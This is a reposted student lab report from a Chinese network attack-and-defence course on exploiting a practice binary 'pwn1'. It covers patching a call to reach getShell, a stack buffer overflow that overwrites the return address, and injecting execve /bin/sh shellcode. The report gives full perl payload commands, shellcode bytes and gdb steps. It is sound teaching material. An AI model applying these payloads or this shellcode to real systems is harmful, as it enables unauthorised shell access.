20232315 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/13 21:57:24/文章来源:https://www.cnblogs.com/shm0050/p/19139504

一、实验目标
对一个名为pwn1的linux可执行文件:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
二、实验内容
(一)基础知识
基础汇编指令
NOP(空指令):CPU不执行任何操作,直接继续下一条指令。(机器码:90)
JNE/JE:基于比较结果跳转(机器码75/74)
CMP:比较操作数并设置标志位,不保存结果
JMP:(无条件跳转)
反汇编
反汇编是将机器码(二进制指令)转换为汇编代码的逆向过程,通过反汇编可以查看程序的底层执行逻辑和指令流程。
本次使用Linux平台的objdump工具分析pwn1可执行文件,
命令格式:objdump -d 目标文件
该命令会输出完整的汇编代码段及其内存地址信息。
本次实验使用xxd作为十六进制编辑器。
三、实验过程

  1. 直接修改程序机器指令,改变程序执行流程
    为达成实验目标,需将指令 “call foo” 修改为 “call getShell”,实际操作是把原指向 foo 的地址 8048491,替换为 getShell 的入口地址 804847d;由于 call 指令采用相对跳转,遵循 “EIP + 偏移量 = 目标地址” 的原理,可推导出偏移量 = 目标地址 - EIP,这里目标地址为 getShell 的 804847d,EIP 值为 80484ba,代入计算得偏移量为 804847d - 80484ba = -61,其补码为 0xffffff3c,又因 x86 架构是小端存储,所以只需将机器码中原本的 0xd7ffffff 改成 0xc3ffffff,就能实现跳转到 getShell 函数。
    2ef8e6565703382cbc863ec05e1fa0b
    (此为修改前)
    3850190060269ff3fb4c2b38067e70e
    (修改前的地址)
    0f6376909a286493c1a628cc0ed48a9
    (修改后的地址)
    查看pwn20232415运行结果如下图,说明getshell函数已实现。
    5b0833e3e981e465b4369899866afe2
    2.通过构造输入参数,造成BOF攻击,改变程序执行流
    程序调用 foo 函数时,会在栈上生成专属栈帧。但 foo 函数仅用一个 28 字节(0x1c)的缓冲区读取字符串,这就导致了缓冲区溢出(Bof)漏洞。我们可以利用这个漏洞,向缓冲区输入超过其容量的字符串,覆盖栈中的返回地址,把它改成 getShell 函数的地址,进而达成攻击目的。从反汇编结果能看到,正常执行 call foo 指令时,会把返回地址 0x80484ba 压入栈中,我们的目标就是把这个地址覆盖成 getShell 函数的入口地址。
    接下来用 gdb 调试 pwn3 程序,先输入测试字符串 “1111111122222222333333334444444412345678”,再执行 info r 命令查看寄存器状态。结果显示,存储下一条指令地址的 EIP 寄存器,已经被覆盖成了 0x34333231,这个值对应的正是字符串里 “1234” 的 ASCII 码。
    addde91af903073257c6db56d950b54
    已知 getShell 函数的入口地址为 0x0804847d(通过反汇编得知),要利用缓冲区溢出漏洞实现攻击,只需把输入字符串末尾的 "1234" 替换成该地址的小端序字节表示,这样程序返回时就会跳转到 getShell 函数。
    具体构造输入字符串的方法是:先用 "11111111222222223333333344444444" 填满缓冲区,再追加目标地址的小端序形式 "\x7d\x84\x04\x08"。可通过这条 perl 命令生成包含该字符串的文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(其中 \x0a 代表换行符)
    生成后,可用 xxd input 命令检查文件内容,确认地址字节是否按小端序正确排列。最后执行 (cat input; cat) | ./pwn3 命令,将构造的输入传递给目标程序 —— 该命令会先发送 input 文件中的攻击载荷,再保持标准输入打开以便交互。如此,程序执行返回时就会跳转到指定的 getShell 函数地址,实现攻击目的。
    结果如图所示,成功执行getshell获取了shell。
    94456b0c8e2064cb21e9fc291546219
    3.注入Shellcode并执行
    构造包含shellcode的输入perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    将构造的输入传递给目标程序pwn20232415_3:
    (cat input_shellcode; cat) | ./pwn20232415_3
    建立新终端,输入ps -ef | grep pwn20232415_3,查看pwn20232415_3文件的进程以及进程号如下:
    image
    可以看到进程号为70872
    接下来在新终端中使用 gdb 进行调试:
    启动 gdb 并附加到目标进程: gdb pwn20232415_3 attach 70872
    反编译 foo 函数并分析返回地址位置: disassemble foo
    image
    通过反编译结果可定位 foo 函数中 return address 的具体内存地址,用于后续替换x1x2x3x4占位符。
    通过计算,shellcode 的注入地址应为栈顶指针地址0xffffcfec加上 4 字节,即 0xffffcff0。将该地址以小端序格式(\xf0\xcf\xff\xff)替换原占位符 \x01\x02\x03\x04,构造最终的注入字符串:
    perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
    将构造的输入传递给目标程序:(cat input_shellcode; cat) | ./pwn4
    执行 ls 命令后成功显示当前目录文件,确认已通过覆盖返回地址调用 getShell 函数,完成攻击。
    5d5835004e9c7346566e50fc6caf714

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/936458.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CSP-S 2025 提高级模拟赛 Day6 复盘 B.连通子图

题意 给定正整数 \(k\),求构造一棵树,使得包含了1号点的连通子图个数恰好为 \(k\)。 赛时做法 没想出来,骗了个 \(n\leq60\) 的20pts部分分(输出一条长度为 \(k\) 的链,此时一定有 \(k\) 个联通子图) #include&l…

基于Java的家政服务管理优秀的系统的设计与完成-计算机毕设 附源码05300

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

Android Camera openCamera - 教程

Android Camera openCamera - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco&…

大作业第一阶段验收小组集体加5分 -

大作业第一阶段验收小组集体加5分任务二 小组:郝正一,文利,武浩翔 验收集体加5分

业务定义与指标体系搭建

一、指标 1、什么是指标? 定义:衡量目标的方法,构成要素有维度+汇总方式+度量 2、好的指标 = 可比较(增量>全量,优先比率/比例,慎用绝对值) + 预见性(领先>滞后) + 行动导向(过程型 > 结果性) 3、…

Linux使用笔记

Linux使用笔记Ubuntu替换“系统启动界面”图片sudo cp yourlogo.png /usr/share/plymouth/themes/spinner/watermark.png // 若要替换“登录”界面的图片: sudo cp yourlogo.png /usr/share/plymouth/Ubuntu-logo.png…

[Vulhub靶机]W1R3S靶机渗透

[红队渗透]Vulhub-W1R3S靶机渗透 靶机W1R3S下载地址以及配置: https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip 直接使用nat模式把靶机设置为和攻击机(kali)同一个网段 kali:192.168.88.133渗透流程思路: 1.信…

基于zynq实现一个边缘识别视频流(预学习HLS篇)

视频流通了之后,我要在上面添加算法模块,手撕verilog可能比较慢,可以先尝试使用hls。 前面通过block design搭建视频流通路,然后SDK控制写入分辨率这些东西,现在如果要加入算法模块简单实现边缘识别,必须先学习h…

centos7 离线安装mysql8 并建立主从架构

centos7 离线安装mysql8 并建立主从架构pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Mo…

2025/10/13

2025/10/13学习Java界面如何设置

项目计划管理实战:从“纸上谈兵”到“动态导航”的艺术 - 实践

项目计划管理实战:从“纸上谈兵”到“动态导航”的艺术 - 实践pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Co…

设计文档规范

文档标题和作者信息​ 在文档的开头包括标题和作者信息,以便其他团队成员可以轻松识别文档的内容和负责人。​ 目的和背景 说明文档的目的和背景,包括项目的背景信息、需求和目标。​ 需求 / 用例 case​ 描述清楚实…

实用指南:Apache Doris 4.0 AI 能力揭秘(二):为企业级应用而生的 AI 函数设计与实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

QAxios研发笔记(一):在Qt环境下,构建Promise风格的Get请求接口 - 指南

QAxios研发笔记(一):在Qt环境下,构建Promise风格的Get请求接口 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family:…

10月13日日记

1.今天早上上了数据结构的相关课程,下午学习java 2.明天上工程实训的课 3.方法重载中的方法返回值能不能作为其判断条件?不能。

分享一个知乎高赞回答生成AI指令:让技术人也能写出有深度的回答

技术人写作和写代码完全是两回事。代码讲究逻辑严谨,而写作需要故事性、共鸣感和可读性。这个矛盾让很多技术大牛的优质经验无法有效传播。最近我整理了一个AI指令模板,专门用于生成高质量的知乎回答。配合DeepSeek、…

【知识总结】数据库的事务、并发与锁管理

【知识总结】数据库的事务、并发与锁管理Posted on 2025-10-13 21:22 江城2211 阅读(0) 评论(0) 收藏 举报事务的四大属性(ACID) Atomicity(原子性):一个事务中的所有操作,要么全部完成,要么全部不完成,不…